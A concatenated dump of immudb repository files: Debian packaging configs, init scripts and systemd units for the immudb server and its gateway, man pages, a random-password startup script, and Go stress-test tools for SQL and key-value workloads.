tools/packaging/deb/default/immuclient.ini.dist ================================================ address = 127.0.0.1 port = 3322 ================================================ FILE: tools/packaging/deb/default/immudb ================================================ IMMU_USER=immu IMMU_GROUP=immu IMMU_HOME=/usr/share/immudb LOG_DIR=/var/log/immudb DATA_DIR=/var/lib/immudb MAX_OPEN_FILES=10000 CONF_DIR=/etc/immudb CONF_FILE=/etc/immudb/immudb.toml RESTART_ON_UPGRADE=true # Only used on systemd systems PID_FILE_DIR=/var/run/immudb.pid ================================================ FILE: tools/packaging/deb/default/immudb.ini.dist ================================================ dir = /var/lib/immudb network = tcp address = 0.0.0.0 port = 3322 dbname = immudb #pidfile = /var/run/immudb.pid logfile = /var/log/immudb/immudb.log mtls = false #pkey = ./tools/mtls/3_application/private/localhost.key.pem #certificate = ./tools/mtls/3_application/certs/localhost.cert.pem #clientcas = ./tools/mtls/2_intermediate/certs/ca-chain.cert.pem ================================================ FILE: tools/packaging/deb/default/immugw ================================================ IMMU_USER=immu IMMU_GROUP=immu IMMU_HOME=/usr/share/immudb LOG_DIR=/var/log/immudb DATA_DIR=/var/lib/immudb MAX_OPEN_FILES=10000 CONF_DIR=/etc/immudb CONF_FILE=/etc/immudb/immugw.toml RESTART_ON_UPGRADE=true # Only used on systemd systems PID_FILE_DIR=/var/run/immugw.pid ================================================ FILE: tools/packaging/deb/default/immugw.ini.dist ================================================ address = 0.0.0.0 port = 3323 immudaddress = 127.0.0.1 immudport = 3322 #pidfile = /var/run/immugw.pid logfile = /var/log/immudb/immugw.log mtls = false servername = localhost #pkey = ./tools/mtls/4_client/private/localhost.key.pem #certificate = ./tools/mtls/4_client/certs/localhost.cert.pem #clientcas = ./tools/mtls/2_intermediate/certs/ca-chain.cert.pem ================================================ FILE: tools/packaging/deb/init.d/immudb ================================================ #! /usr/bin/env bash # chkconfig: 2345 80 05 # description: immudb database # processname: immudb # config: /etc/immudb/immudb.toml # pidfile: /var/run/immudb.pid ### BEGIN INIT INFO # Provides: immudb # Required-Start: $all # Required-Stop: $remote_fs $syslog # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: Start immudb at boot time ### END INIT INFO # tested on # 1. New lsb that define start-stop-daemon # 3. Centos with initscripts package installed PATH=/bin:/usr/bin:/sbin:/usr/sbin NAME=immudb DESC="immud - the tamperproof database" DEFAULT=/etc/default/$NAME IMMU_USER=immu IMMU_GROUP=immu IMMU_HOME=/usr/share/immudb CONF_DIR=/etc/immudb WORK_DIR=$IMMU_HOME DATA_DIR=/var/lib/immudb LOG_DIR=/var/log/immudb CONF_FILE=$CONF_DIR/immudb.toml MAX_OPEN_FILES=10000 PID_FILE=/var/run/$NAME.pid DAEMON=/usr/sbin/$NAME umask 0027 if [ ! -x $DAEMON ]; then echo "Program not installed or not executable" exit 5 fi . /lib/lsb/init-functions if [ -r /etc/default/rcS ]; then . /etc/default/rcS fi # overwrite settings from default file if [ -f "$DEFAULT" ]; then . "$DEFAULT" fi DAEMON_OPTS="--config ${CONF_FILE}" function checkUser() { if [ `id -u` -ne 0 ]; then echo "You need root privileges to run this script" exit 4 fi } case "$1" in start) checkUser log_daemon_msg "Starting $DESC" pid=`pidofproc -p $PID_FILE immud` if [ -n "$pid" ] ; then log_begin_msg "Already running." log_end_msg 0 exit 0 fi # Prepare environment mkdir -p "$LOG_DIR" "$DATA_DIR" && chown "$IMMU_USER":"$IMMU_GROUP" "$LOG_DIR" "$DATA_DIR" touch "$PID_FILE" && chown "$IMMU_USER":"$IMMU_GROUP" "$PID_FILE" if [ -n "$MAX_OPEN_FILES" ]; then ulimit -n $MAX_OPEN_FILES fi # Start Daemon start-stop-daemon --start -b --chdir "$WORK_DIR" --user "$IMMU_USER" -c "$IMMU_USER" --pidfile "$PID_FILE" --exec $DAEMON -- $DAEMON_OPTS return=$? if [ $return -eq 0 ] then sleep 1 # check if pid file has been written to if ! [[ -s $PID_FILE ]]; then log_end_msg 1 exit 1 fi i=0 timeout=10 # Wait for the process to be properly started before exiting until { cat "$PID_FILE" | xargs kill -0; } >/dev/null 2>&1 do sleep 1 i=$(($i + 1)) if [ $i -gt $timeout ]; then log_end_msg 1 exit 1 fi done fi log_end_msg $return ;; stop) checkUser log_daemon_msg "Stopping $DESC" if [ -f "$PID_FILE" ]; then start-stop-daemon --stop --pidfile "$PID_FILE" \ --user "$IMMU_USER" \ --retry=TERM/20/KILL/5 >/dev/null if [ $? -eq 1 ]; then log_progress_msg "$DESC is not running but pid file exists, cleaning up" elif [ $? -eq 3 ]; then PID="`cat $PID_FILE`" log_failure_msg "Failed to stop $DESC (pid $PID)" exit 1 fi rm -f "$PID_FILE" else log_progress_msg "(not running)" fi log_end_msg 0 ;; status) status_of_proc -p $PID_FILE immudb immudb && exit 0 || exit $? ;; restart|force-reload) if [ -f "$PID_FILE" ]; then $0 stop sleep 1 fi $0 start ;; *) log_success_msg "Usage: $0 {start|stop|restart|force-reload|status}" exit 3 ;; esac ================================================ FILE: tools/packaging/deb/init.d/immugw ================================================ #! /usr/bin/env bash # chkconfig: 2345 80 05 # description: immugw - immudb API Gateway # processname: immugw # config: /etc/immudb/immugw.toml # pidfile: /var/run/immugw.pid ### BEGIN INIT INFO # Provides: immugw # Required-Start: $all # Required-Stop: $remote_fs $syslog # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: Start immugw at boot time ### END INIT INFO # tested on # 1. New lsb that define start-stop-daemon # 3. Centos with initscripts package installed PATH=/bin:/usr/bin:/sbin:/usr/sbin NAME=immugw DESC="immugw - API Gateway for immud - the tamperproof database" DEFAULT=/etc/default/$NAME IMMU_USER=immu IMMU_GROUP=immu IMMU_HOME=/usr/share/immudb CONF_DIR=/etc/immudb WORK_DIR=$IMMU_HOME DATA_DIR=/var/lib/immudb LOG_DIR=/var/log/immudb CONF_FILE=$CONF_DIR/immugw.toml MAX_OPEN_FILES=10000 PID_FILE=/var/run/$NAME.pid DAEMON=/usr/sbin/$NAME umask 0027 if [ ! -x $DAEMON ]; then echo "Program not installed or not executable" exit 5 fi . /lib/lsb/init-functions if [ -r /etc/default/rcS ]; then . /etc/default/rcS fi # overwrite settings from default file if [ -f "$DEFAULT" ]; then . "$DEFAULT" fi DAEMON_OPTS="--config ${CONF_FILE}" function checkUser() { if [ `id -u` -ne 0 ]; then echo "You need root privileges to run this script" exit 4 fi } case "$1" in start) checkUser log_daemon_msg "Starting $DESC" pid=`pidofproc -p $PID_FILE immugw` if [ -n "$pid" ] ; then log_begin_msg "Already running." log_end_msg 0 exit 0 fi # Prepare environment mkdir -p "$LOG_DIR" "$DATA_DIR" && chown "$IMMU_USER":"$IMMU_GROUP" "$LOG_DIR" "$DATA_DIR" touch "$PID_FILE" && chown "$IMMU_USER":"$IMMU_GROUP" "$PID_FILE" if [ -n "$MAX_OPEN_FILES" ]; then ulimit -n $MAX_OPEN_FILES fi # Start Daemon start-stop-daemon --start -b --chdir "$WORK_DIR" --user "$IMMU_USER" -c "$IMMU_USER" --pidfile "$PID_FILE" --exec $DAEMON -- $DAEMON_OPTS return=$? if [ $return -eq 0 ] then sleep 1 # check if pid file has been written to if ! [[ -s $PID_FILE ]]; then log_end_msg 1 exit 1 fi i=0 timeout=10 # Wait for the process to be properly started before exiting until { cat "$PID_FILE" | xargs kill -0; } >/dev/null 2>&1 do sleep 1 i=$(($i + 1)) if [ $i -gt $timeout ]; then log_end_msg 1 exit 1 fi done fi log_end_msg $return ;; stop) checkUser log_daemon_msg "Stopping $DESC" if [ -f "$PID_FILE" ]; then start-stop-daemon --stop --pidfile "$PID_FILE" \ --user "$IMMU_USER" \ --retry=TERM/20/KILL/5 >/dev/null if [ $? -eq 1 ]; then log_progress_msg "$DESC is not running but pid file exists, cleaning up" elif [ $? -eq 3 ]; then PID="`cat $PID_FILE`" log_failure_msg "Failed to stop $DESC (pid $PID)" exit 1 fi rm -f "$PID_FILE" else log_progress_msg "(not running)" fi log_end_msg 0 ;; status) status_of_proc -p $PID_FILE immugw immugw && exit 0 || exit $? ;; restart|force-reload) if [ -f "$PID_FILE" ]; then $0 stop sleep 1 fi $0 start ;; *) log_success_msg "Usage: $0 {start|stop|restart|force-reload|status}" exit 3 ;; esac ================================================ FILE: tools/packaging/deb/man/immuclient.1 ================================================ .TH "immu" "1" "Apr 2020" "Auto generated by spf13/cobra" "" .nh .ad l .SH NAME .PP immu \- .SH SYNOPSIS .PP \fBimmu [flags]\fP .SH DESCRIPTION .SH OPTIONS .PP \fB\-a\fP, \fB\-\-address\fP="127.0.0.1" immudb host address .PP \fB\-\-config\fP="" config file (default path are config or $HOME. Default filename is immu.toml) .PP \fB\-h\fP, \fB\-\-help\fP[=false] help for immu .PP \fB\-p\fP, \fB\-\-port\fP=3322 immudb port number .SH SEE ALSO .PP \fBimmu\-backup(1)\fP, \fBimmu\-consistency(1)\fP, \fBimmu\-count(1)\fP, \fBimmu\-get(1)\fP, \fBimmu\-history(1)\fP, \fBimmu\-inclusion(1)\fP, \fBimmu\-ping(1)\fP, \fBimmu\-reference(1)\fP, \fBimmu\-restore(1)\fP, \fBimmu\-safeget(1)\fP, \fBimmu\-safereference(1)\fP, \fBimmu\-safeset(1)\fP, \fBimmu\-safezadd(1)\fP, \fBimmu\-scan(1)\fP, \fBimmu\-set(1)\fP, \fBimmu\-zadd(1)\fP, \fBimmu\-zscan(1)\fP .SH HISTORY .PP 11\-Apr\-2020 Auto generated by spf13/cobra ================================================ FILE: tools/packaging/deb/man/immudb.1 ================================================ .TH "immud" "1" "Apr 2020" "Auto generated by spf13/cobra" "" .nh .ad l .SH NAME .PP immud \- .SH SYNOPSIS .PP \fBimmud [flags]\fP .SH DESCRIPTION .SH OPTIONS .PP \fB\-a\fP, \fB\-\-address\fP="0.0.0.0" bind address .PP \fB\-\-certificate\fP="./tools/mtls/3\_application/certs/localhost.cert.pem" server certificate file path .PP \fB\-\-clientcas\fP="./tools/mtls/2\_intermediate/certs/ca\-chain.cert.pem" clients certificates list. Aka certificate authority .PP \fB\-\-config\fP="" config file (default path are config or $HOME. Default filename is immud.toml) .PP \fB\-n\fP, \fB\-\-dbname\fP="immudb" db name .PP \fB\-d\fP, \fB\-\-dir\fP="." data folder .PP \fB\-h\fP, \fB\-\-help\fP[=false] help for immud .PP \fB\-\-logfile\fP="" log path with filename. E.g. /tmp/immud/immud.log .PP \fB\-m\fP, \fB\-\-mtls\fP[=false] enable mutual tls .PP \fB\-\-pidfile\fP="" pid path with filename. E.g. /var/run/immud.pid .PP \fB\-\-pkey\fP="./tools/mtls/3\_application/private/localhost.key.pem" server private key path .PP \fB\-p\fP, \fB\-\-port\fP=3322 port number .SH HISTORY .PP 11\-Apr\-2020 Auto generated by spf13/cobra ================================================ FILE: tools/packaging/deb/man/immugw.1 ================================================ .TH "immugw" "1" "Apr 2020" "Auto generated by spf13/cobra" "" .nh .ad l .SH NAME .PP immugw \- Immu gateway .SH SYNOPSIS .PP \fBimmugw [flags]\fP .SH DESCRIPTION .PP Immu gateway is an smart proxy for immudb. It exposes all gRPC methods with a rest interface and wrap all SAFE endpoints with a verification service. .SH OPTIONS .PP \fB\-a\fP, \fB\-\-address\fP="0.0.0.0" immugw host address .PP \fB\-\-certificate\fP="./tools/mtls/4\_client/certs/localhost.cert.pem" server certificate file path .PP \fB\-\-clientcas\fP="./tools/mtls/2\_intermediate/certs/ca\-chain.cert.pem" clients certificates list. Aka certificate authority .PP \fB\-\-config\fP="" config file (default path are config or $HOME. Default filename is immugw.toml) .PP \fB\-h\fP, \fB\-\-help\fP[=false] help for immugw .PP \fB\-k\fP, \fB\-\-immudaddress\fP="127.0.0.1" immudb host address .PP \fB\-j\fP, \fB\-\-immudport\fP=3322 immudb port number .PP \fB\-\-logfile\fP="" log path with filename. E.g. /tmp/immugw/immugw.log .PP \fB\-m\fP, \fB\-\-mtls\fP[=false] enable mutual tls .PP \fB\-\-pidfile\fP="" pid path with filename. E.g. /var/run/immugw.pid .PP \fB\-\-pkey\fP="./tools/mtls/4\_client/private/localhost.key.pem" server private key path .PP \fB\-p\fP, \fB\-\-port\fP=3323 immugw port number .PP \fB\-\-servername\fP="localhost" used to verify the hostname on the returned certificates .SH HISTORY .PP 11\-Apr\-2020 Auto generated by spf13/cobra ================================================ FILE: tools/packaging/deb/systemd/immudb.service ================================================ [Unit] Description=immudb database daemon Documentation=https://github.com/codenotary/immudb Wants=network-online.target After=network-online.target [Service] EnvironmentFile=/etc/default/immudb User=immu Group=immu Type=simple Restart=on-failure WorkingDirectory=/usr/share/immudb RuntimeDirectory=immudb RuntimeDirectoryMode=0750 ExecStart=/usr/sbin/immudb --config /etc/immudb/immudb.toml LimitNOFILE=10000 TimeoutStopSec=20 UMask=0027 [Install] WantedBy=multi-user.target ================================================ FILE: tools/packaging/deb/systemd/immugw.service ================================================ [Unit] Description=immugw - immudb API gateway Documentation=https://github.com/codenotary/immudb Wants=network-online.target Requires=immudb.service [Service] EnvironmentFile=/etc/default/immugw User=immu Group=immu Type=simple Restart=on-failure WorkingDirectory=/usr/share/immudb RuntimeDirectory=immugw RuntimeDirectoryMode=0750 ExecStartPre=/bin/sleep 30 ExecStart=/usr/sbin/immugw --config /etc/immudb/immugw.toml LimitNOFILE=10000 TimeoutStopSec=20 UMask=0027 [Install] WantedBy=multi-user.target ================================================ FILE: tools/rndpass/startup.sh ================================================ #!/bin/sh if [ -f /etc/sysconfig/immudb ] then source /etc/sysconfig/immudb fi if [ -z "$IMMUDB_ADMIN_PASSWORD" ] then IMMUDB_ADMIN_PASSWORD=`tr -cd '[:alnum:].,:;/@_=' < /dev/urandom|head -c 16` echo "Generated immudb password: $IMMUDB_ADMIN_PASSWORD" fi export IMMUDB_ADMIN_PASSWORD exec $@ ================================================ FILE: tools/testing/stress_tool_sql.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "context" "flag" "log" "math/rand" "sync" "time" "github.com/codenotary/immudb/pkg/api/schema" immudb "github.com/codenotary/immudb/pkg/client" "google.golang.org/protobuf/types/known/emptypb" ) type Entry struct { id int value []byte } type cfg struct { IpAddr string Port int Username string Password string DBName string committers int kvCount int vLen int rndValues bool readers int rdCount int readDelay int readPause int readRenew bool compactDelay int compactCycles int verifiers int vrCount int sessionMode bool transactions bool } func parseConfig() (c cfg) { flag.StringVar(&c.IpAddr, "addr", "", "IP address of immudb server") flag.IntVar(&c.Port, "port", 3322, "Port number of immudb server") flag.StringVar(&c.Username, "user", "immudb", "Username for authenticating to immudb") flag.StringVar(&c.Password, "pass", "immudb", "Password for authenticating to immudb") flag.StringVar(&c.DBName, "db", "defaultdb", "Name of the database to use") flag.IntVar(&c.committers, "committers", 10, "number of concurrent committers") flag.IntVar(&c.kvCount, "kvCount", 1_000, "number of kv entries per tx") flag.IntVar(&c.vLen, "vLen", 32, "value length (bytes)") flag.BoolVar(&c.rndValues, "rndValues", true, "values are randomly generated") flag.IntVar(&c.readers, "readers", 0, "number of concurrent readers") flag.IntVar(&c.rdCount, "rdCount", 100, "number of reads for each readers") flag.IntVar(&c.readDelay, "readDelay", 100, "Readers start delay (ms)") flag.IntVar(&c.readPause, "readPause", 0, "Readers pause at every cycle") flag.BoolVar(&c.readRenew, "readRenew", false, "renew snapshots on read") flag.IntVar(&c.compactDelay, "compactDelay", 0, "Milliseconds wait before compactions (0 disable)") flag.IntVar(&c.compactCycles, "compactCycles", 0, "Number of compaction to perform") flag.IntVar(&c.verifiers, "verifiers", 0, "number of verifiers readers") flag.IntVar(&c.vrCount, "vrCount", 100, "number of reads for each verifiers") flag.BoolVar(&c.sessionMode, "sessionMode", false, "use sessions auth mechanism mode") flag.BoolVar(&c.transactions, "transactions", false, "use transactions to insert data") flag.Parse() return } func connect(config cfg) (immudb.ImmuClient, context.Context) { opts := immudb.DefaultOptions().WithAddress(config.IpAddr).WithPort(config.Port) ctx := context.Background() var client immudb.ImmuClient var err error if config.sessionMode { client = immudb.NewClient() err = client.OpenSession(ctx, []byte(config.Username), []byte(config.Password), config.DBName) if err != nil { log.Fatalln("Failed to connect. Reason:", err) } } else { client, err = immudb.NewImmuClient(opts) if err != nil { log.Fatalln("Failed to connect. Reason:", err) } _, err = client.Login(ctx, []byte(config.Username), []byte(config.Password)) if err != nil { log.Fatalln("Failed to login. Reason:", err.Error()) } _, err = client.UseDatabase(ctx, &schema.Database{DatabaseName: config.DBName}) if err != nil { log.Fatalln("Failed to use the database. Reason:", err) } } return client, ctx } func idGenerator(c cfg) chan int { // incremental id generator ids := make(chan int, 100) go func() { for true { ids <- int(time.Now().UnixNano()) } }() return ids } func entriesGenerator(c cfg, ids chan int) chan Entry { entries := make(chan Entry, 100) rand.Seed(time.Now().UnixNano()) go func() { log.Printf("Worker is generating rows...\r\n") for true { id := <-ids v := make([]byte, c.vLen) if c.rndValues { rand.Read(v) } else { copy(v, []byte("mariposa")) } entries <- Entry{id: id, value: v} } }() return entries } func committer(ctx context.Context, client immudb.ImmuClient, c cfg, entries chan Entry, cid int, wg *sync.WaitGroup) { log.Printf("Committer %d is inserting data...\r\n", cid) for i := 0; i < c.kvCount; i++ { entry := <-entries _, err := client.SQLExec(ctx, "INSERT INTO entries (id, value, ts) VALUES (@id, @value, now());", map[string]interface{}{"id": entry.id, "value": entry.value}) if err != nil { log.Fatalf("Committer %d: Error while inserting value %d [%d]: %s", cid, entry.id, i, err) } } wg.Done() log.Printf("Committer %d done...\r\n", cid) } func committerWithTxs(ctx context.Context, client immudb.ImmuClient, c cfg, entries chan Entry, cid int, wg *sync.WaitGroup) { log.Printf("Transactions committer %d is inserting data...\r\n", cid) tx, err := client.NewTx(ctx) if err != nil { log.Fatalf("Transactions committer %d: Error while creating transaction: %s", cid, err) } for i := 0; i < c.kvCount; i++ { entry := <-entries err = tx.SQLExec(ctx, "INSERT INTO entries (id, value, ts) VALUES (@id, @value, now());", map[string]interface{}{"id": entry.id, "value": entry.value}) if err != nil { log.Fatalf("Transactions committer %d: Error while inserting value %d [%d]: %s", cid, entry.id, i, err) } } _, err = tx.Commit(ctx) if err != nil { if err.Error() != "tx read conflict" { log.Fatalf("Transactions committer %d: Error while committing transaction: %s", cid, err) } } wg.Done() log.Printf("Transactions committer %d done...\r\n", cid) } func reader(ctx context.Context, client immudb.ImmuClient, c cfg, id int, wg *sync.WaitGroup) { if c.readDelay > 0 { // give time to populate db time.Sleep(time.Duration(c.readDelay) * time.Millisecond) } log.Printf("Reader %d is reading data\n", id) for i := 1; i <= c.rdCount; i++ { r, err := client.SQLQuery(ctx, "SELECT count() FROM entries where id<=@i;", map[string]interface{}{"i": i}, c.readRenew) if err != nil { log.Fatalf("Error querying val %d: %s", i, err.Error()) } ret := r.Rows[0] n := ret.Values[0].GetN() if n != int64(i) { log.Printf("Reader %d read %d vs %d", id, n, i) } if c.readPause > 0 { time.Sleep(time.Duration(c.readPause) * time.Millisecond) } } wg.Done() log.Printf("Reader %d out\n", id) } func readerWithTxs(ctx context.Context, client immudb.ImmuClient, c cfg, id int, wg *sync.WaitGroup) { if c.readDelay > 0 { // give time to populate db time.Sleep(time.Duration(c.readDelay) * time.Millisecond) } log.Printf("Transactions reader %d is reading data\n", id) tx, err := client.NewTx(ctx) if err != nil { log.Fatalf("Transactions reader %d: Error while creating transaction: %s", id, err) } for i := 1; i <= c.rdCount; i++ { r, err := tx.SQLQuery(ctx, "SELECT count() FROM entries where id<=@i;", map[string]interface{}{"i": i}) if err != nil { log.Fatalf("Error querying val %d: %s", i, err.Error()) } ret := r.Rows[0] n := ret.Values[0].GetN() if n != int64(i) { log.Printf("Transactions reader %d read %d vs %d", id, n, i) } if c.readPause > 0 { time.Sleep(time.Duration(c.readPause) * time.Millisecond) } } _, err = tx.Commit(ctx) if err != nil { return } wg.Done() log.Printf("Transactions reader %d out\n", id) } func verifier(ctx context.Context, client immudb.ImmuClient, c cfg, id int, wg *sync.WaitGroup) { if c.readDelay > 0 { // give time to populate db time.Sleep(time.Duration(c.readDelay) * time.Millisecond) } log.Printf("Verifier %d is reading data\n", id) for i := 0; i < c.vrCount; i++ { idx := 1 + i*c.verifiers + id r, err := client.SQLQuery(ctx, "SELECT id, value, ts FROM entries WHERE id=@i;", map[string]interface{}{"i": idx}, c.readRenew) if err != nil { log.Fatalf("Error querying val %d: %s", i, err.Error()) } if len(r.Rows) > 0 { row := r.Rows[0] err = client.VerifyRow(ctx, row, "entries", []*schema.SQLValue{row.Values[0]}) if err != nil { log.Fatalf("Verification failed: verifier %d, id %d row %+v", id, idx, row) } } else { log.Printf("Verifier %d no results for id %d", id, idx) } if c.readPause > 0 { time.Sleep(time.Duration(c.readPause) * time.Millisecond) } } wg.Done() log.Printf("Verifier %d out\n", id) } func compactor(ctx context.Context, client immudb.ImmuClient, c cfg, wg *sync.WaitGroup) { for i := 0; i < c.compactCycles; i++ { time.Sleep(time.Duration(c.compactDelay) * time.Millisecond) log.Printf("Compaction %d started", i) client.CompactIndex(ctx, &emptypb.Empty{}) log.Printf("Compaction %d terminated", i) } log.Printf("All compaction terminated") wg.Done() } func main() { log.SetFlags(log.LstdFlags | log.Lshortfile) c := parseConfig() log.Println("Connecting...") client, ctx := connect(c) log.Printf("Creating tables\r\n") _, err := client.SQLExec(ctx, "CREATE TABLE IF NOT EXISTS entries (id INTEGER, value BLOB, ts INTEGER, PRIMARY KEY id);", nil) if err != nil { panic(err) } ids := idGenerator(c) entries := entriesGenerator(c, ids) wg := sync.WaitGroup{} for i := 0; i < c.committers; i++ { wg.Add(1) if c.sessionMode && c.transactions { go committerWithTxs(ctx, client, c, entries, i, &wg) } else { go committer(ctx, client, c, entries, i, &wg) } } for i := 0; i < c.readers; i++ { wg.Add(1) if c.sessionMode && c.transactions { go readerWithTxs(ctx, client, c, i, &wg) } else { go reader(ctx, client, c, i, &wg) } } for i := 0; i < c.verifiers; i++ { wg.Add(1) go verifier(ctx, client, c, i, &wg) } if c.compactDelay > 0 { wg.Add(1) go compactor(ctx, client, c, &wg) } wg.Wait() log.Printf("All operations done...\r\n") r, err := client.SQLQuery(ctx, "SELECT count() FROM entries;", map[string]interface{}{}, true) if err != nil { panic(err) } row := r.Rows[0] count := row.Values[0].GetN() log.Printf("- Counted %d entries\n", count) } ================================================ FILE: tools/testing/stress_tool_test_kv/README.md ================================================ # Stress tool for KV testing This tool enables parallel stress test of immudb KV using randomized key / value entries. Randomized keys are a very heavy test for btree where reads / writes are scattered across whole btree increasing internal btree cache pressure. By default the test will connect to an immudb running on localhost. It will run parallel workers, each worker first inserts the data, then it reads keys checking if the read value is correct. ## Mixed read-write mode In order to test how database performs when parallel reads and writes are performed, use the `-mix-read-writes` flag. By doing so, the test starts with first half of workers. Once those workers finish their writes, they start the reading test and the second half of workers is spawned in parallel. ## Sample invocation ```sh # Run full test go run . ``` ```sh # Run quick test with reduced amount of entries go run . -total-entries-written 200000 -total-entries-read 20000 ``` ```sh # Run quick test with mixed reads and writes go run . -total-entries-written 200000 -total-entries-read 20000 -mix-read-writes ``` ================================================ FILE: tools/testing/stress_tool_test_kv/stress_tool_kv.go ================================================ package main import ( "bytes" "context" "crypto/sha256" "encoding/binary" "flag" "fmt" "log" "sync" "time" mrand "math/rand" "github.com/codenotary/immudb/pkg/api/schema" immudb "github.com/codenotary/immudb/pkg/client" ) var ( dbHostname = flag.String("host", "localhost", "immudb hostname") dbPort = flag.Int("port", 3322, "immudb port") dbName = flag.String("dbname", "defaultdb", "immudb database name") dbUser = flag.String("user", "immudb", "immudb username") dbPassword = flag.String("password", "immudb", "immudb password") parallelism = flag.Int("parallelism", 10, "number of parallel jobs") mixReadWrites = flag.Bool("mix-read-writes", false, "if true, mix read and write workloads") seed = flag.Int("seed", 0, "test seed") totalEntries = flag.Int("total-entries-written", 5_000_000, "total number of entries written during the test") totalReads = flag.Int("total-entries-read", 10_000, "total number of entries read during the test") randKeyLen = flag.Bool("randomize-key-length", false, "use randomized key lengths") help = flag.Bool("help", false, "show help") ) type etaCalc struct { what string start time.Time lastReport time.Time totalCount int } func newEtaCalc(what string, totalCount int) *etaCalc { now := time.Now() return &etaCalc{ what: what, start: now, lastReport: now, totalCount: totalCount, } } func (e *etaCalc) progress(progress int) { if time.Since(e.lastReport) >= time.Second { timeElapsed := time.Since(e.start) timeLeft := time.Duration( float64(timeElapsed) * (float64(e.totalCount-progress) / float64(progress)), ) log.Printf("%s: Entries: %d, elapsed: %v, ETA: %v", e.what, progress, timeElapsed, timeLeft) e.lastReport = time.Now() } } func (e *etaCalc) printTotal() { log.Printf("%s: Finished in %v", e.what, time.Since(e.start)) } func testRun( seed int, instance int, entriesCount int, readsCount int, performWrites bool, performReads bool, ) { ctx := context.Background() cl := immudb.NewClient().WithOptions(immudb.DefaultOptions(). WithAddress(*dbHostname). WithPort(*dbPort), ) err := cl.OpenSession(ctx, []byte(*dbUser), []byte(*dbPassword), *dbName) if err != nil { log.Fatal(err) } defer cl.CloseSession(ctx) var seedKey [sha256.Size]byte var seedVal [sha256.Size]byte s := sha256.Sum256([]byte(fmt.Sprintf("keyseed_%d_%d", seed, instance))) copy(seedKey[:], s[:]) s = sha256.Sum256([]byte(fmt.Sprintf("valueseed_%d_%d", seed, instance))) copy(seedVal[:], s[:]) key := func(i int) []byte { var b [8]byte copy(b[:], seedKey[:]) binary.BigEndian.PutUint64(b[:], uint64(i)) k := sha256.Sum256(b[:]) kLen := len(k) if *randKeyLen { if k[kLen-1] > 200 { return bytes.Repeat(k[:], 1000/len(k)) } kLen = 8 minLen := 3 kLen = int(k[len(k)-1])%(len(k)-minLen) + minLen } return k[:kLen] } val := func(i int) []byte { var b [8]byte copy(b[:], seedVal[:]) binary.BigEndian.PutUint64(b[:], uint64(i)) k := sha256.Sum256(b[:]) return k[:] } if performWrites { tRep := newEtaCalc(fmt.Sprintf("Insertion %d", instance), entriesCount) batchSize := 1_000 for i := 0; i < entriesCount; i += batchSize { alreadyAdded := map[string]struct{}{} kvs := []*schema.KeyValue{} for j := 0; j < batchSize && i+j < entriesCount; j++ { k := key(i + j) ks := string(k) if _, found := alreadyAdded[ks]; found { continue } alreadyAdded[ks] = struct{}{} kvs = append(kvs, &schema.KeyValue{ Key: key(i + j), Value: val(i + j), }) } _, err := cl.SetAll(ctx, &schema.SetRequest{ KVs: kvs, }) if err != nil { log.Fatal(err) } tRep.progress(i) } tRep.printTotal() } if performReads { rnd := mrand.New(mrand.NewSource(int64(seed))) // We want predictable rand source tRep := newEtaCalc("Reading", readsCount) for i := 0; i < readsCount; i++ { j := rnd.Intn(entriesCount) v, err := cl.Get(ctx, key(j)) if err != nil { log.Fatal("Error while reading back data ", err) } if !bytes.Equal(v.Value, val(j)) { log.Fatalf( "Invalid value read (%d)\n"+ "key: %x\n"+ "expected: %x\n"+ "read: %x", j, key(j), val(j), v.Value, ) } tRep.progress(i) } tRep.printTotal() } } func entriesForInstance(i int) int { // Instances could be a little bit skewed in the number of entries they process start := int(*totalEntries * i / *parallelism) end := int(*totalEntries * (i + 1) / *parallelism) return end - start } func readsForInstance(i int) int { // Instances could be a little bit skewed in the number of entries they process start := int(*totalReads * i / *parallelism) end := int(*totalReads * (i + 1) / *parallelism) return end - start } func main() { flag.Parse() if *help { flag.PrintDefaults() return } wg := sync.WaitGroup{} group1Size := *parallelism / 2 // First half - run writes, reads will for i := 0; i < group1Size; i++ { wg.Add(1) go func(i int) { testRun(*seed, i, entriesForInstance(i), readsForInstance(i), true, !*mixReadWrites) wg.Done() }(i) } // For mixed workload, we have to wait for the writers to finish first, then we'll // overlap reads from the first group with writes in the second group if *mixReadWrites { wg.Wait() for i := 0; i < group1Size; i++ { wg.Add(1) go func(i int) { testRun(*seed, i, entriesForInstance(i), readsForInstance(i), false, true) wg.Done() }(i) } } // Second half of readers / writers for i := group1Size; i < *parallelism; i++ { wg.Add(1) go func(i int) { testRun(*seed, i, entriesForInstance(i), readsForInstance(i), true, true) wg.Done() }(i) } wg.Wait() } ================================================ FILE: tools.go ================================================ //go:build tools package tools import ( _ "github.com/golang/protobuf/proto" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-grpc-gateway" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger" _ "github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2" _ "github.com/mattn/goveralls" _ "github.com/ory/go-acc" _ "github.com/pseudomuto/protoc-gen-doc/cmd/protoc-gen-doc" _ "golang.org/x/tools/cmd/cover" _ "google.golang.org/grpc" _ "google.golang.org/grpc/cmd/protoc-gen-go-grpc" _ "google.golang.org/protobuf/cmd/protoc-gen-go" ) ================================================ FILE: webconsole/.gitignore ================================================ dist ================================================ FILE: webconsole/default/missing/index.html ================================================ No webconsole immudb immudb mascot

immudb was built without web console support.

See here for instructions, or download an official build.

